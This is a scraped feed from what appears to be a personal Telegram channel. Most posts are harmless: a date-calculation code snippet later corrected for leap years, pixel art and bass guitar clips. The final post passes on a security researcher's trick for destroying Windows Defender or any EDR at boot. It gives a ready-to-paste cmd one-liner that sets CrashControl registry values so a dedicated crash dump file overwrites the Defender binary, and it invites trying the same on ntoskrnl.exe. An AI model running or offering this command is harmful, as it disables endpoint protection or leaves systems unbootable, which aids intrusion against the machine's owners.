๐คฏ The first successful AI pull request
Yesterday a person submitted a low-level optimization PR written 99% by DeepSeek-R1.
Is it over for software engineers, boys?
Yesterday a person submitted a low-level optimization PR written 99% by DeepSeek-R1.
Is it over for software engineers, boys?
๐ฑ105๐13๐ข10๐5โค2๐2
๐ฎ Counting days in a month
I was tired of lookup tables so I came up with this optimized algorithm counting days in a month. The operations seem simple enough, and the โ3 can be replaced with a constant. To me it seems like the bottleneck of the algorithm is all the float operations. The rest can be very elegantly optimized with bitwise.
Super lenient on storage, but slightly more complex in computation. Developers, what do you think about this?
I was tired of lookup tables so I came up with this optimized algorithm counting days in a month. The operations seem simple enough, and the โ3 can be replaced with a constant. To me it seems like the bottleneck of the algorithm is all the float operations. The rest can be very elegantly optimized with bitwise.
def days(y, m):
if m == 1:
return 28 + int(y % 4 == 0)
p = m / sqrt(3)
return 31 if p - floor(p) < 0.5 else 30
Super lenient on storage, but slightly more complex in computation. Developers, what do you think about this?
โค51๐8๐ค6๐1
Enderman
๐ฎ Counting days in a month I was tired of lookup tables so I came up with this optimized algorithm counting days in a month. The operations seem simple enough, and the โ3 can be replaced with a constant. To me it seems like the bottleneck of the algorithmโฆ
๐ The boring way
Well, for one, I fucked up the leap year check, because I didn't know they are skipped every century unless the year divisible by 400.
Float operations are obviously super slow, and even though my solution was mathematically elegant, I think basic comparisons are way to go for time optimization... Shame
I'd actually bet my money this approach is slightly more optimized than a lookup table, if we consider storage:
Well, for one, I fucked up the leap year check, because I didn't know they are skipped every century unless the year divisible by 400.
Float operations are obviously super slow, and even though my solution was mathematically elegant, I think basic comparisons are way to go for time optimization... Shame
int days(int y, int m) {
if (m == 1)
return 28 + ((y & 0b11) == 0 && (y % 100 != 0 || y % 400 == 0));
if (m == 3 || m == 5 || m == 8 || m == 10)
return 30;
return 31;
}I'd actually bet my money this approach is slightly more optimized than a lookup table, if we consider storage:
const int lookup[12] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
int daysLookup(int y, int m) {
return lookup[m] + (m == 1 && ((y & 0b11) == 0 && (y % 100 != 0 || y % 400 == 0)));
}โค27๐ค10๐5
This media is not supported in your browser
VIEW IN TELEGRAM
๐ค76โค10๐ฑ8๐3๐3๐คฌ2
Enderman
๐ Drawing I don't think I've said it publicly before, but I also enjoy drawing for fun. I'm a poor artist, but pixel art is my weakness, as much as long-haired girls are ๐
This is how she looks
โค117๐11๐ค6๐3๐ฑ2๐1๐คฌ1
Enderman
This is how she looks
The comments asked me to make the outline uniform, and that actually looks significantly better
โค35๐ฑ2๐1
Please open Telegram to view this post
VIEW IN TELEGRAM
YouTube
bass guitar
the call of ktulu free download
It's not a cover, I made plenty of mistakes. I'm still in the process of learning the bridge. Loving the bass guitar.
https://enderman.ch
It's not a cover, I made plenty of mistakes. I'm still in the process of learning the bridge. Loving the bass guitar.
https://enderman.ch
๐ฑ35โค7
Enderman
Voice message
๐ต Fade to Black
This one is super beautiful, I enjoy playing that a lot. The verse riff looks easy, but it's actually pretty challenging. The ending is the most difficult part.
This one is super beautiful, I enjoy playing that a lot. The verse riff looks easy, but it's actually pretty challenging. The ending is the most difficult part.
๐3
๐ฅ Is your Defender a dump? Yes it is!
Security researcher sixtyvividtails uncovered a trick to destroy any EDR upon boot by overwriting it with a crash dump.
๐ป No system crash needed, only reboot.
๐ป Defender is just an example; works versus anything (try ntoskrnl.exe).
๐ป Dedicated dump is not the only bootside kill; at least 4 more distinct yet similar ways.
The code:
Security researcher sixtyvividtails uncovered a trick to destroy any EDR upon boot by overwriting it with a crash dump.
๐ป No system crash needed, only reboot.
๐ป Defender is just an example; works versus anything (try ntoskrnl.exe).
๐ป Dedicated dump is not the only bootside kill; at least 4 more distinct yet similar ways.
The code:
cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d 7 /t 4&!R! DumpFileSize /d 666 /t 4&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~29,-1!)"๐ฑ57โค8๐4๐4